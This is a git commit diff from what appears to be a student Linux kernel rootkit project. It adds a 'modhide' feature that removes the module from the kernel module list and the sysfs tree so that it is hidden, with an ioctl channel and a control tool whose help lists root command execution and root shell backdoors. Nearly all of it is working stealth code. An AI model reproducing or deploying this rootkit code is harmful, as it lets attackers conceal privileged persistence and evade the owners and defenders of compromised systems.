commit 2cf933f2f4d97285198b35564c9dd2ef07b86a90
parent 2e966a605bfd6a0a127c05ebc568652be10c8a34
Author: deurzen <m.deurzen@tum.de>
Date: Sat, 5 Dec 2020 17:59:37 +0100
initial test
Diffstat:
9 files changed, 166 insertions(+), 0 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -2,9 +2,11 @@
#include <linux/module.h>
#include <linux/uaccess.h>
#include <linux/ioctl.h>
+#include <linux/proc_fs.h>
#include "channel.h"
#include "common.h"
+#include "modhide.h"
#include "filehide.h"
#include "backdoor.h"
#include "hidepid.h"
@@ -21,6 +23,7 @@ report_channels(void)
DEBUG_NOTICE("-----------------------------------\n");
DEBUG_NOTICE("listening on the following channels\n");
DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING);
+ DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE", G7_MODHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
@@ -33,6 +36,7 @@ detect_channel(unsigned cmd)
{
switch (cmd) {
case G7_PING: return (channel_t){ "PING", handle_ping };
+ case G7_MODHIDE: return (channel_t){ "MODHIDE", handle_modhide };
case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
@@ -60,6 +64,43 @@ handle_ping(unsigned long arg)
}
int
+handle_modhide(unsigned long arg)
+{
+ long sarg = (long)arg;
+
+ if (!sarg) {
+ char buf[BUFLEN];
+ sprintf(buf, "/sbin/rmmod %s", G7_DEVICE);
+
+ char *argv[] = {
+ "/bin/sh",
+ "-c",
+ buf,
+ NULL
+ };
+
+ static char *envp[] = {
+ "HOME=/",
+ "TERM=linux",
+ "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
+ NULL
+ };
+
+ DEBUG_NOTICE("unloading module\n");
+
+ call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
+ } else if (sarg < 0) {
+ unhide_module();
+ DEBUG_NOTICE("unhiding pid %ld\n", -sarg);
+ } else if (sarg > 0) {
+ hide_module();
+ DEBUG_NOTICE("modhide on\n");
+ }
+
+ return 0;
+}
+
+int
handle_filehide(unsigned long arg)
{
long sarg = (long)arg;
diff --git a/src/channel.h b/src/channel.h
@@ -11,6 +11,7 @@ channel_t detect_channel(unsigned);
// handlers
int handle_ping(unsigned long);
+int handle_modhide(unsigned long);
int handle_filehide(unsigned long);
int handle_backdoor(unsigned long);
int handle_togglebd(unsigned long);
diff --git a/src/hook.c b/src/hook.c
@@ -9,6 +9,7 @@
#include "common.h"
#include "hook.h"
#include "rootkit.h"
+#include "modhide.h"
#include "filehide.h"
#include "backdoor.h"
#include "hidepid.h"
@@ -73,6 +74,9 @@ init_hooks(void)
void
remove_hooks(void)
{
+ if (rootkit.hiding_module)
+ unhide_module();
+
if (rootkit.hiding_files)
unhide_files();
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -9,5 +9,6 @@
#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x2, char *)
#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x3, char *)
#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x4, char *)
+#define G7_MODHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *)
#endif//_GROUP7_IOCTL_H
diff --git a/src/modhide.c b/src/modhide.c
@@ -0,0 +1,87 @@
+#include <linux/kernfs.h>
+#include <linux/module.h>
+#include <linux/rbtree.h>
+#include <linux/list.h>
+#include <linux/hash.h>
+
+#include "common.h"
+#include "modhide.h"
+
+static struct list_head *mod_prev;
+
+void
+hide_module(void)
+{
+ struct kernfs_node *node;
+
+ node = THIS_MODULE->mkobj.kobj.sd;
+
+ mod_prev = THIS_MODULE->list.prev;
+
+ list_del(&THIS_MODULE->list);
+
+ rb_erase(&node->rb, &node->parent->dir.children);
+ node->rb.__rb_parent_color = (unsigned long)(&node->rb);
+}
+
+void
+unhide_module(void)
+{
+ list_add(&THIS_MODULE->list, mod_prev);
+ rb_add(THIS_MODULE->mkobj.kobj.sd);
+}
+
+void
+rb_add(struct kernfs_node *node)
+{
+ struct rb_node **child = &node->parent->dir.children.rb_node;
+ struct rb_node *parent = NULL;
+
+ while(*child) {
+ struct kernfs_node *pos;
+ int result;
+
+ /* cast rb_node to kernfs_node */
+ pos = rb_entry(*child, struct kernfs_node, rb);
+
+ /*
+ * traverse the rbtree from root to leaf (until correct place found)
+ * next level down, child from previous level is now the parent
+ */
+ parent = *child;
+
+ /* using result to determine where to put the node */
+ result = nodecmp(pos, node->hash, node->name, node->ns);
+
+ if(result < 0)
+ child = &pos->rb.rb_left;
+ else if(result > 0)
+ child = &pos->rb.rb_right;
+ else
+ return;
+ }
+
+ /* add new node and reblance the tree */
+ rb_link_node(&node->rb,parent, child);
+ rb_insert_color(&node->rb, &node->parent->dir.children);
+
+ /* needed for special cases */
+ if (kernfs_type(node) == KERNFS_DIR)
+ node->parent->dir.subdirs++;
+}
+
+
+int
+nodecmp(struct kernfs_node *kn, const unsigned int hash, const char *name, const void *ns)
+{
+ /* compare hash value */
+ if(hash != kn->hash)
+ return hash - kn->hash;
+
+ /* compare ns */
+ if(ns != kn->ns)
+ return ns - kn->ns;
+
+ /* compare name */
+ return strcmp(name, kn->name);
+}
diff --git a/src/modhide.h b/src/modhide.h
@@ -0,0 +1,9 @@
+#ifndef _GROUP7_MODHIDE_H
+#define _GROUP7_MODHIDE_H
+
+void hide_module(void);
+void unhide_module(void);
+void rb_add(struct kernfs_node *);
+int nodecmp(struct kernfs_node *, const unsigned int, const char *, const void *);
+
+#endif//_GROUP7_MODHIDE_H
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -34,6 +34,19 @@ parse_input(int argc, char **argv)
if (ARGVCMP(1, "ping"))
return (cmd_t){ handle_ping, NULL };
+ if (ARGVCMP(1, "unload"))
+ return (cmd_t){ handle_modhide, (void *)0 };
+
+ if (ARGVCMP(1, "modhide")) {
+ ASSERT_ARGC(2, "modhide <on | off>");
+
+ if (ARGVCMP(2, "on"))
+ return (cmd_t){ handle_modhide, (void *)1 };
+
+ if (ARGVCMP(2, "off"))
+ return (cmd_t){ handle_modhide, (void *)-1 };
+ }
+
if (ARGVCMP(1, "filehide")) {
ASSERT_ARGC(2, "filehide <toggle | on | off>");
@@ -98,6 +111,12 @@ handle_ping(void *arg)
}
int
+handle_modhide(void *arg)
+{
+ return issue_ioctl(G7_MODHIDE, (const char *)arg);
+}
+
+int
handle_filehide(void *arg)
{
return issue_ioctl(G7_FILEHIDE, (const char *)arg);
@@ -164,6 +183,8 @@ help()
printf("These are the available commands:\n");
printf("%-32s %s\n", "help", "this message");
printf("%-32s %s\n", "ping", "send an echo request to the rootkit");
+ printf("%-32s %s\n", "unload", "gracefully unload the rootkit module");
+ printf("%-32s %s\n", "modhide <on | off>", "{,un}hide rootkit module");
printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files");
printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root");
printf("%-32s %s\n", "shell", "obtain a shell as root");
diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h
@@ -21,6 +21,7 @@ int issue_ioctl(unsigned long, const char *);
void help();
int handle_ping(void *);
+int handle_modhide(void *);
int handle_filehide(void *);
int handle_backdoor(void *);
int handle_shellbd(void *);
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -11,6 +11,7 @@ typedef enum {
typedef struct {
sc_hook_t hooks[16];
+ bool hiding_module;
bool hiding_files;
bool hiding_pids;
bd_state_t backdoor;